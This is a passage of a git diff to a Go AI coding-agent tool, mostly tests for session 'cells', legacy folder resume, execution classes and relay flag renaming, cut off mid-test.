smokeAnswer) { + t.Fatalf("new chat: %v\n%s", err, out) + } + var transcripts, cells []string + err = filepath.WalkDir(home, func(path string, entry fs.DirEntry, err error) error { + if err != nil { + return err + } + if entry.IsDir() && entry.Name() == ".cell" { + cells = append(cells, filepath.Dir(path)) + } + if entry.Name() == "transcript.jsonl" { + transcripts = append(transcripts, path) + } + return nil + }) + if err != nil || len(transcripts) != 1 { + t.Fatalf("chat transcripts = %v, %v; want one", transcripts, err) + } + raw, err := os.ReadFile(transcripts[0]) + if err != nil || !strings.Contains(string(raw), smokeAnswer) { + t.Fatalf("chat did not persist the model turn: %s, %v", raw, err) + } + if len(cells) != 1 { + t.Fatalf("cells = %v, want one", cells) + } + c, err := cell.OpenAt(cells[0], filepath.Base(cells[0])) + if err != nil { + t.Fatal(err) + } + if turns, err := os.ReadFile(filepath.Join(c.Root, cellstore.TurnsPath)); err != nil || len(turns) == 0 { + t.Fatalf("chat did not seal its first turn: %s, %v", turns, err) + } + if c.Meta().Class != cell.HostBound { + t.Fatalf("class = %s, want host-bound", c.Meta().Class) + } + if !strings.Contains(transcripts[0], string(filepath.Separator)+".cell"+string(filepath.Separator)) { + t.Fatalf("transcript is not in cell: %s", transcripts[0]) + } + if got := relayRequests.Load(); got != 0 { + t.Fatalf("unpaired home sent %d relay requests", got) + } + }) + } +} diff --git a/cmd/codeaf/cells_platform_test.go b/cmd/codeaf/cells_platform_test.go new file mode 100644 index 0000000000..d9c7ba7980 --- /dev/null +++ b/cmd/codeaf/cells_platform_test.go @@ -0,0 +1,61 @@ +package main + +import ( + "context" + "os" + "os/exec" + "path/filepath" + "runtime" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/furrowbin" +) + +// TestC27UnavailableCommandsDoNothing proves C27.3 before even a --name +// flag can write an identity or prepare a relay request. +func TestC27UnavailableCommandsDoNothing(t *testing.T) { + t.Cleanup(cell.UseAvailabilityInTests(false)) + want := furrowbin.CellsUnavailable + assertCellCommandsRefuse(t, want) +} + +func assertCellCommandsRefuse(t *testing.T, want string) { + t.Helper() + for name, run := range map[string]func() error{ + "pair": func() error { return (pairDoor{}).run(context.Background(), []string{"--name", "changed"}) }, + "identity": func() error { return runIdentity([]string{"show"}) }, + "rotate": func() error { return runIdentity([]string{"rotate", "--yes"}) }, + "cell": func() error { return runCell([]string{"log"}) }, + "rename": func() error { return runDevicesRename([]string{"changed"}) }, + } { + if err := run(); err == nil || err.Error() != want { + t.Errorf("%s: %v, want %q", name, err, want) + } + } +} + +// TestC12OldEngineCLI proves C12 through the real command doors in a fresh +// process, so a previous test's compatible-engine cache cannot mask failure. +func TestC12OldEngineCLI(t *testing.T) { + if runtime.GOOS == "windows" { + t.Skip("this fake engine is a Unix shell script; K1 covers the native engine") + } + if os.Getenv("CODEAF_TEST_OLD_FURROW") == "1" { + assertCellCommandsRefuse(t, furrowbin.CellsUnavailable) + return + } + program := filepath.Join(t.TempDir(), "old-furrow") + if err := os.WriteFile(program, []byte("#!/bin/sh\nexit 2\n"), 0o700); err != nil { + t.Fatal(err) + } + binary, err := os.Executable() + if err != nil { + t.Fatal(err) + } + cmd := exec.Command(binary, "-test.run=^TestC12OldEngineCLI$", "-test.v") //codeaf:plumbing runs the real command doors with a fresh engine capability cache + cmd.Env = append(os.Environ(), "CODEAF_TEST_OLD_FURROW=1", "CODEAF_FURROW="+program) + if out, err := cmd.CombinedOutput(); err != nil { + t.Fatalf("old-engine commands: %v\n%s", err, out) + } +} diff --git a/cmd/codeaf/cells_windows_test.go b/cmd/codeaf/cells_windows_test.go new file mode 100644 index 0000000000..ca0dc374da --- /dev/null +++ b/cmd/codeaf/cells_windows_test.go @@ -0,0 +1,22 @@ +package main + +import ( + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/furrowbin" +) + +// TestK1WindowsIdentityDoors proves K1 without opening a terminal or a relay. +// Remote-access device books remain available when the engine is absent. +func TestK1WindowsIdentityDoors(t *testing.T) { + t.Cleanup(cell.UseAvailabilityInTests(false)) + assertCellCommandsRefuse(t, furrowbin.CellsUnavailable) + kinds := openDeviceKinds() + if len(kinds) != 1 { + t.Fatalf("missing engine has %d device kinds, want remote access", len(kinds)) + } + if _, ok := kinds[0].(bookKind); !ok { + t.Fatalf("lost remote-access devices: %T", kinds[0]) + } +} diff --git a/cmd/codeaf/chat.go b/cmd/codeaf/chat.go index 0f34f0a23c..73786f8b94 100644 --- a/cmd/codeaf/chat.go +++ b/cmd/codeaf/chat.go @@ -2123,8 +2123,10 @@ func (b *chatBrain) closeAll() { // construction never leaves a goroutine behind for a caller that decides not to // run what it built. func (b *chatBrain) start() { - ctx, cancel := context.WithCancel(context.Background()) - runCtx, runCancel := context.WithCancel(context.Background()) + // Resident work belongs to the host, including the housekeeping that can + // call tools. Each lifetime keeps that seat when cancellation diverges. + ctx, cancel := context.WithCancel(hostSeated(context.Background())) + runCtx, runCancel := context.WithCancel(hostSeated(context.Background())) if b.wall > 0 { // The deadline rides the RUN context — the loops that claim, execute // and grow — and not the background one, which owns the housekeeping a diff --git a/cmd/codeaf/chatv3.go b/cmd/codeaf/chatv3.go index 3d37520281..693ba510fe 100644 --- a/cmd/codeaf/chatv3.go +++ b/cmd/codeaf/chatv3.go @@ -17,6 +17,7 @@ import ( "github.com/Agent-Field/codeaf/internal/approval" "github.com/Agent-Field/codeaf/internal/buildinfo" "github.com/Agent-Field/codeaf/internal/catalog" + "github.com/Agent-Field/codeaf/internal/cell" "github.com/Agent-Field/codeaf/internal/codexauth" "github.com/Agent-Field/codeaf/internal/config" "github.com/Agent-Field/codeaf/internal/connect" @@ -25,6 +26,7 @@ import ( "github.com/Agent-Field/codeaf/internal/env" "github.com/Agent-Field/codeaf/internal/gitidentity" "github.com/Agent-Field/codeaf/internal/guard" + "github.com/Agent-Field/codeaf/internal/handoff" "github.com/Agent-Field/codeaf/internal/home" "github.com/Agent-Field/codeaf/internal/leave" "github.com/Agent-Field/codeaf/internal/openrouterauth" @@ -171,7 +173,7 @@ func openChatV3(name string, args []string, pickSession bool) error { // which they meant would open a conversation on a machine they did not // name. if strings.TrimSpace(*host) != "" && strings.TrimSpace(*at) != "" { - return fmt.Errorf("--host reaches a machine over ssh and --at reaches one through a relay: name one or the other, not both") + return fmt.Errorf("--host reaches a machine over ssh and --at reaches one through the sync service: name one or the other, not both") } // A BUDGET IS A SENTENCE ABOUT AN UNATTENDED SESSION, so it is refused @@ -511,6 +513,7 @@ func openChatV3(name string, args []string, pickSession bool) error { err = runSurface(ctx, tui3.Options{ Agent: agent, Build: buildinfo.String(), + Seal: sealSeamOf(agent, cfg.Seals), UnreadProfileKeys: append([]string(nil), proc.UnreadProfileKeys...), // The memory place reads the conversation's store; a store that would not // open supplies no seam. @@ -671,7 +674,7 @@ func openChatV3(name string, args []string, pickSession bool) error { // the top of the conversation — rather than growing surfaces of their // own. An ordinary attended launch with the same file on disk is still // shown nothing whatever. - Notice: joinV3Notices(entryNotice, notice, session.UnattendedNotice(cfg), buildinfo.StaleNotice()), + Notice: v3Interrupted(cfg, joinV3Notices(entryNotice, notice, session.UnattendedNotice(cfg), buildinfo.StaleNotice())), ContextWindow: cfg.ContextWindow, History: recall, DraftFile: draft, @@ -1442,6 +1445,12 @@ func v3Connections(manager *connect.Manager) tui3.Connections { // cannot be shown a fuel gate (engine.go) — and a door deciding that for itself // would be this file guessing who is watching. func openV3Agent(cfg session.Config, workspace string, open func(session.Config) (*session.Agent, error)) (*session.Agent, session.Config, string, error) { + // A chat in the middle of being taken over here is not opened: a session booted + // now would read the journal from before the swap (see [handoff.Arrive]). + if handoff.Arriving(cfg.Place.Dir) { + return nil, cfg, "", errors.New(chatArrivingSentence) + } + cfg = v3Seated(v3Migrated(cfg)) // Restore the gate before construction, so restored work cannot start behind // the profile default. Return the launch config unchanged: a subsequent new // conversation must not inherit this one's saved override. @@ -1475,7 +1484,7 @@ func openV3Agent(cfg session.Config, workspace string, open func(session.Config) if err == nil { if restoredPosture != "" { if err := agent.SetApprovalPosture(restoredPosture); err != nil { - _ = agent.Close() + closeV3Agent(agent) return nil, cfg, "", fmt.Errorf("restore conversation approvals: %w", err) } } @@ -1493,6 +1502,10 @@ func openV3Agent(cfg session.Config, workspace string, open func(session.Config) } } +// chatArrivingSentence is what a door says about a chat that is being moved onto +// this computer right now: it opens by itself when the move ends. +const chatArrivingSentence = "this chat is arriving on this computer; it opens by itself in a moment" + // sessionHeldElsewhere is a conversation another window is writing, named so a // door with a SCREEN can do something better than print the sentence. // @@ -2186,6 +2199,9 @@ func v3Memory(profileDir string) *store.Store { fmt.Fprintln(os.Stderr, "memory is unavailable in this session: "+err.Error()) return nil } + if cell.Available() { + brain.SetMemoryLedger(session.CellMemories) + } return brain } @@ -2780,7 +2796,7 @@ func runChatV3Once(ctx context.Context, cfg session.Config, workspace, text, lev if notice != "" { fmt.Fprintln(os.Stderr, notice+": "+cfg.SessionFile) } - defer func() { _ = agent.Close() }() + defer func() { closeV3Agent(agent) }() var wakes <-chan (<-chan session.Event) if cfg.Unattended && cfg.Budget.Set() { var stopWakes func() diff --git a/cmd/codeaf/chatv3_at.go b/cmd/codeaf/chatv3_at.go index 73f8a76af5..8dc3daa123 100644 --- a/cmd/codeaf/chatv3_at.go +++ b/cmd/codeaf/chatv3_at.go @@ -9,7 +9,7 @@ package main // // big-machine$ codeaf serve // this machine is reachable as otter-lamp-42 -// pair a new device with code 715 302 (valid 10 minutes) +// let a device use this machine with code 42-715-302 (valid 10 minutes) // // laptop$ codeaf chat --at otter-lamp-42 // pairing with otter-lamp-42 — enter the code shown there: ______ @@ -45,7 +45,6 @@ import ( "os/signal" "strings" "syscall" - "time" "github.com/Agent-Field/codeaf/internal/pair" "github.com/Agent-Field/codeaf/internal/remote" @@ -262,12 +261,13 @@ func askPairingCode(name string) (string, error) { func runServe(args []string) error { flags := commandFlags("serve") workspace := flags.String("workspace", "", "directory a connection works in when it does not name one; empty is the directory this command was run in") - relayAddress := flags.String("relay", "", "the relay to be reachable through; empty reads "+pair.RelayEnv) + relayAddress := flags.String("via", "", "the sync address to be reachable through; empty reads "+pair.RelayEnv) + renamedFlag(flags, "relay", "via") if err := parseCommandFlags(flags, args); err != nil { return err } if flags.NArg() != 0 { - return errors.New("usage: codeaf serve [--workspace path] [--relay https://…]") + return errors.New("usage: codeaf serve [--workspace path] [--via https://…]") } service := strings.TrimSpace(*relayAddress) @@ -277,7 +277,7 @@ func runServe(args []string) error { if service == "" { // THE HONEST STATE, AND THE ONE MOST PEOPLE WILL MEET. The relay is a // service and this build does not assume one exists. - return errors.New("no relay is set up on this machine, so there is nowhere to be reachable from — set " + pair.RelayEnv + " to a relay's address, or let people in over ssh with `codeaf chat --host` from their side") + return errors.New("no sync address is set up on this machine, so there is nowhere to be reachable from — set " + pair.RelayEnv + " to your sync address, or let people in over ssh with `codeaf chat --host` from their side") } here := strings.TrimSpace(*workspace) @@ -293,20 +293,20 @@ func runServe(args []string) error { if err != nil { return err } + // ctrl+c is how this command ends, so it is caught rather than left to kill + // the process mid-registration: the machine gives its name up on the way + // out instead of leaving the relay to notice. + ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM) + defer stop() host := &pair.Host{ Service: service, Device: device, Devices: pair.DeviceBook(), Desk: &pair.Desk{}, + Approve: serveApprover(ctx, os.Stdin, os.Stdout), Say: func(line string) { fmt.Fprintln(os.Stdout, line) }, Open: func(tunnel io.ReadWriteCloser) { serveOneConnection(tunnel, here) }, } - - // ctrl+c is how this command ends, so it is caught rather than left to kill - // the process mid-registration: the machine gives its name up on the way - // out instead of leaving the relay to notice. - ctx, stop := signal.NotifyContext(context.Background(), os.Interrupt, syscall.SIGTERM) - defer stop() if err := host.Run(ctx); err != nil { return err } @@ -341,84 +341,3 @@ func serveOneConnection(tunnel io.ReadWriteCloser, workspace string) { fmt.Fprintln(os.Stderr, "that connection ended:", err) } } - -// ── the machine: codeaf devices ───────────────────────────────────────────── - -// runDevices lists the devices this machine lets in, and stops one. -// -// THE LIST AND THE STOPPING BOTH BELONG TO THIS MACHINE. A device cannot list -// itself out of somebody's machine and cannot stop another device; this command -// answers about the machine it is typed on, which is the same law the rest of -// codeaf keeps about remote surfaces. -func runDevices(args []string) error { - device, err := pair.ThisDevice(pair.OpenKeeper()) - if err != nil { - return err - } - book := pair.DeviceBook() - - if len(args) > 0 && args[0] == "revoke" { - return revokeDevice(book, args[1:]) - } - if askedForHelp(args) { - return commandHelp("devices") - } - if len(args) > 0 { - return fmt.Errorf("usage: codeaf devices [revoke [--all]]") - } - - paired, err := book.Devices() - if err != nil { - return err - } - fmt.Print(pair.DevicesList(device.Name(), paired, pair.OpenKeeper(), time.Now())) - known, err := pair.Machines() - if err != nil { - return err - } - fmt.Print(pair.MachinesList(known, time.Now())) - return nil -} - -// revokeDevice stops one device, or every device answering to one name. -// -// --ALL IS A FLAG LIKE EVERY OTHER FLAG IN THIS BINARY. It used to be read by -// hand, and only when it was the FIRST word after `revoke`, so `codeaf devices -// revoke laptop --all` was refused — with a usage line that did not mention -// `--all` at all. A person taking back access to their own machine was told the -// wrong grammar for the gesture they had just typed correctly. Through -// [commandFlags] and [reorder] it is now accepted in either position, printed -// by `codeaf devices revoke --help`, and named in the one usage table. -func revokeDevice(book *pair.Book, args []string) error { - flags := commandFlags("devices revoke") - all := flags.Bool("all", false, "stop every device answering to that name, not just the one") - if err := parseCommandFlags(flags, reorder(flags, args)); err != nil { - return err - } - if flags.NArg() != 1 { - return errors.New("usage: codeaf devices revoke [--all] — `codeaf devices` lists the names") - } - name := flags.Arg(0) - if *all { - count, err := book.RevokeAll(name) - if err != nil { - return err - } - // ONE DEVICE STOPPED IS ONE DEVICE STOPPED, whichever flag was typed: - // `--all` over a name only one device answers to reads as the plain - // form, in the plain form's own sentence, rather than as a second kind - // of event with a count in front of it. - if count == 1 { - fmt.Println(pair.RevokedLine(name)) - return nil - } - fmt.Printf("%d devices called %s have been stopped — each needs a new pairing code to come back.\n", count, name) - return nil - } - gone, err := book.Revoke(name) - if err != nil { - return err - } - fmt.Println(pair.RevokedLine(gone.Label)) - return nil -} diff --git a/cmd/codeaf/chatv3_at_test.go b/cmd/codeaf/chatv3_at_test.go index f6f36b4ec5..68837d13dd 100644 --- a/cmd/codeaf/chatv3_at_test.go +++ b/cmd/codeaf/chatv3_at_test.go @@ -70,7 +70,7 @@ func TestWithNoRelayBothDoorsSayWhatIsWrongAndWhatToDoInstead(t *testing.T) { t.Fatal("--at opened a connection with no relay set up") } said := err.Error() - for _, want := range []string{"no relay is set up", "CODEAF_RELAY", "--host over ssh", "otter-lamp-42"} { + for _, want := range []string{"no service address is set up", "CODEAF_RELAY", "--host over ssh", "otter-lamp-42"} { if !strings.Contains(said, want) { t.Fatalf("--at with no relay said %q, which does not mention %q", said, want) } @@ -84,7 +84,7 @@ func TestWithNoRelayBothDoorsSayWhatIsWrongAndWhatToDoInstead(t *testing.T) { t.Fatal("codeaf serve started with no relay set up") } said = err.Error() - for _, want := range []string{"no relay is set up", "CODEAF_RELAY", "--host"} { + for _, want := range []string{"no sync address is set up", "CODEAF_RELAY", "--host"} { if !strings.Contains(said, want) { t.Fatalf("codeaf serve with no relay said %q, which does not mention %q", said, want) } diff --git a/cmd/codeaf/chatv3_beside_test.go b/cmd/codeaf/chatv3_beside_test.go index df02edf8b1..6cbc50c8b1 100644 --- a/cmd/codeaf/chatv3_beside_test.go +++ b/cmd/codeaf/chatv3_beside_test.go @@ -16,6 +16,7 @@ package main import ( "context" "fmt" + "github.com/Agent-Field/codeaf/internal/cell" "os" "path/filepath" "sync" @@ -167,8 +168,9 @@ func farHost(t *testing.T, far *farMachine) { stopped := make(chan error, 1) go func() { stopped <- enginehost.Run(far.workspace, enginehost.Options{ - Boot: far.boot, - Key: func(hello remote.Hello) string { return hello.Session }, + Cells: cell.Available(), + Boot: far.boot, + Key: func(hello remote.Hello) string { return hello.Session }, }) }() t.Cleanup(func() { diff --git a/cmd/codeaf/chatv3_budget.go b/cmd/codeaf/chatv3_budget.go new file mode 100644 index 0000000000..a7f2295363 --- /dev/null +++ b/cmd/codeaf/chatv3_budget.go @@ -0,0 +1,39 @@ +package main + +import ( + "context" + "fmt" + "path/filepath" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/enginehost" + "github.com/Agent-Field/codeaf/internal/session" +) + +// cellBusy is the one way the harness knows a session holds a cell: the flock +// on its journal. +func cellBusy(c cell.Cell) bool { + path, err := c.Path(cell.TranscriptPath) + return err == nil && session.InUse(path) +} + +// budgetOnOpen restores files removed by an explicit gc and records the open. +// C25 forbids starting collection from an open, an idle pass or a timer. +func budgetOnOpen(dir string) { + c, err := cell.OpenAt(dir, filepath.Base(dir)) + if err != nil { + return + } + m := cellBudget() + if m.Open(context.Background(), c) != nil { + return + } +} + +// heldByEngineHint says why a cell can still read as held after every window +// closed: the resident engine keeps a chat's lock while it waits for someone to +// come back, and lets go on its own. +func heldByEngineHint() string { + return fmt.Sprintf("an engine lets an idle chat go %s after the last window closes; `codeaf engine --stop` lets go now", + roughAge(enginehost.SessionIdleAfter())) +} diff --git a/cmd/codeaf/chatv3_cells_test.go b/cmd/codeaf/chatv3_cells_test.go new file mode 100644 index 0000000000..f885ab85f5 --- /dev/null +++ b/cmd/codeaf/chatv3_cells_test.go @@ -0,0 +1,390 @@ +package main + +import ( + "context" + "errors" + "os" + "os/exec" + "path/filepath" + "strings" + "testing" + + "github.com/Agent-Field/codeaf/internal/cell" + "github.com/Agent-Field/codeaf/internal/cell/celltest" + "github.com/Agent-Field/codeaf/internal/cellstore" + "github.com/Agent-Field/codeaf/internal/executor" + "github.com/Agent-Field/codeaf/internal/session" +) + +func mintOpened(t *testing.T, bucket, workspace string) session.Place { + t.Helper() + place, err := v3MintSession(bucket, workspace, workspace, false) + if err != nil { + t.Fatal(err) + } + agent, _, _, err := openV3Agent(session.Config{ + Workspace: workspace, Model: "test/model", APIKey: "test-key", + BaseURL: "https://example.invalid/v1", + Place: place, SessionFile: place.Transcript(), + }, workspace, v3OpenSession) + if err != nil { + t.Fatalf("session did not open: %v", err) + } + // An agent left open keeps writing into the session folder after the test + // returns, which races the temp-dir cleanup and fails the test at random. + t.Cleanup(func() { _ = agent.Close() }) + return place +} + +// TestNewChatIsACellByDefault proves C27.1 and C23 at the real chat mint door. +func TestNewChatIsACellByDefault(t *testing.T) { + celltest.Available(t) + bucket, workspace := t.TempDir(), t.TempDir() + place := mintOpened(t, bucket, workspace) + + want := filepath.Join(place.Dir, cell.TranscriptPath) + if place.Transcript() != want { + t.Fatalf("transcript = %s, want %s", place.Transcript(), want) + } + if _, err := os.Stat(want); err != nil { + t.Fatalf("transcript not written in .cell: %v", err) + } + if _, err := os.Stat(filepath.Join(place.Dir, "transcript.jsonl")); !os.IsNotExist(err) { + t.Fatalf("a legacy transcript sits beside the cell: %v", err) + } + raw, err := os.ReadFile(filepath.Join(place.Dir, cell.MetaPath)) + if err != nil { + t.Fatal(err) + } + if strings.Contains(string(raw), bucket) || strings.Contains(string(raw), workspace) { + t.Fatalf("cell meta holds an absolute path: %s", raw) + } + + c, err := cell.OpenAt(place.Dir, place.ID()) + if err != nil || c.Meta().Class != cell.HostBound { + t.Fatalf("new chat class = %s, %v; want host-bound (C23)", c.Meta().Class, err) + } + + // Resume and listing find it through the same scan every launch uses. + spoken, empty := v3ScanBucket(bucket) + if len(spoken)+len(empty) != 1 || append(spoken, empty...)[0].dir != place.Dir { + t.Fatalf("listing = %v %v, want the cell", spoken, empty) + } + if folder, ok := session.FolderOf(place.Transcript()); !ok || folder != place.Dir { + t.Fatalf("FolderOf = %q %v", folder, ok) + } + if got := v3PlaceOf(place.Transcript(), workspace); got.Dir != place.Dir { + t.Fatalf("v3PlaceOf dir = %q, want %q", got.Dir, place.Dir) + } +} + +// C27.3 preserves host execution when the engine is unavailable. +func TestNewChatIsALegacyFolderWithoutAnEngine(t *testing.T) { + t.Cleanup(cell.UseAvailabilityInTests(false)) + bucket, workspace := t.TempDir(), t.TempDir() + place := mintOpened(t, bucket, workspace) + + if want := filepath.Join(place.Dir, "transcript.jsonl"); place.Transcript() != want { + t.Fatalf("transcript = %s, want %s", place.Transcript(), want) + } + if _, err := os.Stat(filepath.Join(place.Dir, cell.StateDir)); !os.IsNotExist(err) { + t.Fatalf("unavailable engine must not create .cell: %v", err) + } +} + +// legacyFolder writes a session folder the way a build without cells does: the +// real mint and the real agent, with a task journal beside the transcript. +func legacyFolder(t *testing.T, bucket, workspace string) session.Place { + t.Helper() + t.Cleanup(cell.UseAvailabilityInTests(false)) + place, err := v3MintSession(bucket, workspace, workspace, false) + if err != nil { + t.Fatal(err) + } + agent, _, _, err := openV3Agent(v3TestConfig(workspace, place), workspace, v3OpenSession) + if err != nil { + t.Fatalf("legacy session did not open: %v", err) + } + if err := agent.Close(); err != nil { + t.Fatal(err) + } + if err := os.MkdirAll(place.NodeJournals(), 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(filepath.Join(place.NodeJournals(), "n1.jsonl"), []byte("{}\n"), 0o600); err != nil { + t.Fatal(err) + } + return place +} + +func v3TestConfig(workspace string, place session.Place) session.Config { + return session.Config{ + Workspace: workspace, Model: "test/model", APIKey: "test-key", + BaseURL: "https://example.invalid/v1", + Place: place, SessionFile: place.Transcript(), + } +} + +// TestLegacyFolderResumesWithoutMigration proves C24 through the actual open +// and command doors, using the top-level names and JSONL layout dev writes. +func TestLegacyFolderResumesWithoutMigration(t *testing.T) { + celltest.Available(t) + for _, enabled := range []string{"0", "1"} { + t.Run(enabled, func(t *testing.T) { + t.Setenv("CODEAF_CELLS", enabled) + t.Setenv("CODEAF_SYNC_URL", "off") + workspace := t.TempDir() + dir := filepath.Join(t.TempDir(), "0123456789abcdef") + files := map[string]string{ + "transcript.jsonl": `{"type":"session","version":1,"id":"0123456789abcdef","model":"test/model"}` + "\n" + `{"type":"message","role":"user","content":"old words"}` + "\n" + `{"type":"message","role":"assistant","content":"old answer"}` + "\n", + "state.json": `{ "type":"state", "version":1, "records":[] }` + "\n", "card.json": "{}\n", "tasks.json": `{ "type":"tasks", "version":1, "seq":0, "nodes":[] }` + "\n", + "tasks/n1.jsonl": "{}\n", "meta.json": `{"id":"0123456789abcdef","workspace":"` + workspace + `"}` + "\n", + } + for name, body := range files { + path := filepath.Join(dir, name) + if err := os.MkdirAll(filepath.Dir(path), 0o700); err != nil { + t.Fatal(err) + } + if err := os.WriteFile(path, []byte(body), 0o600); err != nil { + t.Fatal(err) + } + } + place := session.Place{Dir: dir, Workspace: workspace} + agent, cfg, _, err := openV3Agent(v3TestConfig(workspace, place), workspace, v3OpenSession) + if err != nil { + t.Fatal(err) + } + defer agent.Close() + if cfg.Seat != nil || cfg.Seals != nil || cfg.SessionFile != filepath.Join(dir, "transcript.jsonl") { + t.Fatalf("legacy chat acquired a cell: %+v", cfg) + } + for name, body := range files { + raw, err := os.ReadFile(filepath.Join(dir, name)) + if err != nil || string(raw) != body { + t.Fatalf("open changed %s: %q, %v", name, raw, err) + } + } + events, err := agent.SubmitBash(t.Context(), "!printf continued") + if err != nil { + t.Fatal(err) + } + for event := range events { + if event.Kind == session.EventToolFailed { + t.Fatalf("command: %+v", event) + } + } + if err := agent.Close(); err != nil { + t.Fatal(err) + } + raw, err := os.ReadFile(filepath.Join(dir, "transcript.jsonl")) + if err != nil || !strings.HasPrefix(string(raw), files["transcript.jsonl"]) || !strings.Contains(string(raw), "continued") { + t.Fatalf("turn was not appended: %q %v", raw, err) + } + if _, err := os.Stat(filepath.Join(dir, ".cell")); !os.IsNotExist(err) { + t.Fatalf("open created .cell: %v", err) + } + }) + } +} + +// C27.5 and C24 preserve old conversations without an engine. +func TestLegacyFolderStaysLegacyWithoutAnEngine(t *testing.T) { + bucket, workspace := t.TempDir(), t.TempDir() + place := legacyFolder(t, bucket, workspace) + + cfg := v3Migrated(v3TestConfig(workspace, place)) + if cfg.SessionFile != place.Transcript() { + t.Fatalf("session file moved: %s", cfg.SessionFile) + } + if _, err := os.Stat(filepath.Join(place.Dir, cell.StateDir)); !os.IsNotExist(err) { + t.Fatalf("unavailable engine must not create .cell: %v", err) + } + if _, err := os.Stat(filepath.Join(place.Dir, "transcript.jsonl")); err != nil { + t.Fatalf("legacy transcript gone: %v", err) + } +} + +func seatClass(t *testing.T, cfg session.Config, dir string) executor.Class { + t.Helper() + if cfg.Seat == nil { + t.Fatal("the session has no seat") + } + local, ok := cfg.Seat.In(dir).(executor.Local) + if !ok { + t.Fatalf("seat runner is %T; an unsealed workspace must hand out a plain local", cfg.Seat.In(dir)) + } + return local.Class +} + +// closeClassSeat gives E2's background work an explicit fixture lifetime. +// Class and policy fixtures use the availability seam without requiring an +// engine; capture tests use RequireEngine and assert the saving result itself. +func closeClassSeat(t *testing.T, seat executor.Seat) { + t.Helper() + if seat == nil { + return + } + t.Cleanup(func() { + ctx, cancel := context.WithTimeout(context.Background(), cellstore.SealWithin) + defer cancel() + err := executor.Drain(ctx, seat) + if ctx.Err() != nil { + t.Error(err) + } else if err != nil { + t.Logf("class fixture capture: %v", err) + } + }) +} + +// TestSeatFollowsTheCellsClass proves C23 preserves an existing sandboxed +// cell, including its metadata, when the conversation resumes. +func TestSeatFollowsTheCellsClass(t *testing.T) { + celltest.Available(t) + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + workspace := t.TempDir() + before, err := os.ReadFile(filepath.Join(c.Root, cell.MetaPath)) + if err != nil { + t.Fatal(err) + } + cfg := v3Seated(v3Migrated(session.Config{Place: session.Place{Dir: c.Root, Workspace: workspace}})) + closeClassSeat(t, cfg.Seat) + after, err := os.ReadFile(filepath.Join(c.Root, cell.MetaPath)) + if err != nil || string(before) != string(after) { + t.Fatalf("resuming rewrote the declared class: %s, %v", after, err) + } + if got := seatClass(t, cfg, workspace); got != executor.Sandboxed { + t.Fatalf("class = %d, want sandboxed", got) + } +} + +// Two sessions in one process on the same path each keep the class their own +// cell declared: nothing is looked up by path. +// C27.7 exercises this behaviour without an opt-in switch. +func TestTwoSessionsOnOnePathKeepTheirOwnClasses(t *testing.T) { + celltest.Available(t) + workspace := t.TempDir() + seated := func(class cell.Class) session.Config { + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: class}) + if err != nil { + t.Fatal(err) + } + cfg := v3Seated(session.Config{Place: session.Place{Dir: c.Root, Workspace: workspace}}) + closeClassSeat(t, cfg.Seat) + return cfg + } + sandboxed, host := seated(cell.Sandboxed), seated(cell.HostBound) + if a, b := seatClass(t, sandboxed, workspace), seatClass(t, host, workspace); a != executor.Sandboxed || b != executor.HostBound { + t.Fatalf("classes = %d and %d, want sandboxed and host-bound", a, b) + } +} + +// C27.3 and C24 leave unavailable and existing host conversations on the host. +func TestNoSeatWithoutAnEngineOrTheFolderIsNoCell(t *testing.T) { + celltest.Available(t) + t.Cleanup(cell.UseAvailabilityInTests(false)) + c, err := cell.CreateIn(t.TempDir(), cell.Options{Class: cell.Sandboxed}) + if err != nil { + t.Fatal(err) + } + place := session.Place{Dir: c.Root, Workspace: t.TempDir()} + if cfg := v3Seated(session.Config{Place: place, Seat: executor.Host}); cfg.Seat != nil { + t.Fatal("unavailable engine must leave the session on the host, and clear a stale seat") + } + + t.Cleanup(cell.UseAvailabilityInTests(true)) + other := session.Place{Dir: t.TempDir(), Workspace: t.TempDir()} + if cfg := v3Seated(session.Config{Place: other}); cfg.Seat != nil { + t.Fatal("a folder that is no cell must keep the legacy host rule") + } +} + +// TestC23NewChatCommandsHaveOpenNetworkWithoutConfinement proves C23 using +// the mint and seat doors, with the executor's jail and observer seams so no +// network connection or working kernel jail is needed. +func TestC23NewChatCommandsHaveOpenNetworkWithoutConfinement(t *testing.T) { + celltest.Available(t) + t.Setenv("CODEAF_HOME", t.TempDir()) + workspace := t.TempDir() + place, err := v3MintSession(t.TempDir(), workspace, workspace, false) + if err != nil { + t.Fatal(err) + } + c, err := cell.OpenAt(place.Dir, place.ID()) + if err != nil || c.Meta().Class != cell.HostBound { + t.Fatalf("minted class = %s, %v; want host-bound", c.Meta().Class, err) + } + seat, _, _ := v3SeatOf(place, nil) + closeClassSeat(t, seat) + if seat == nil { + t.Fatal("new chat has no seat") + } + local, ok := seat.In(workspace).(executor.Local) + if !ok { + t.Fatalf("runner = %T, want local", seat.In(workspace)) + } + probe := &c23CommandProbe{} + local.Jail, local.Observer = probe, probe + res, err := local.Exec(context.Background(), executor.ExecRequest{Argv: []string{"sh", "-c", "printf ordinary"}}, nil) + if err != nil || res.Exit != 0 || string(res.Stdout) != "ordinary" { + t.Fatalf("ordinary command: %+v, %v", res, err) + } + if probe.confined || !probe.request.Net.Open || probe.request.Setup || probe.request.Class != executor.HostBound || res.JailDegraded { + t.Fatalf("ordinary call policy = %+v, confined = %v, degraded = %v", probe.request, probe.confined, res.JailDegraded) + } +} + +type c23CommandProbe struct { + confined bool + request executor.ExecRequest +} + +func (p *c23CommandProbe) Confine(*exec.Cmd, executor.ExecRequest) error { + p.confined = true + return errors.New("C23: a new chat must not enter a jail") +} + +func (p *c23CommandProbe) Observe(req executor.ExecRequest, _ executor.ExecResult) { + p.request = req +} + +// TestC23NewChatCanWriteToASiblingThroughItsSeat proves C23 through a real +// sealed call, so cells being on cannot narrow the host's write access. D4 also +// requires the pending capture to finish before its files are removed. +func TestC23NewChatCanWriteToASiblingThroughItsSeat(t *testing.T) { + celltest.RequireEngine(t) + t.Setenv("CODEAF_HOME", t.TempDir()) + parent := t.TempDir() + workspace, sibling 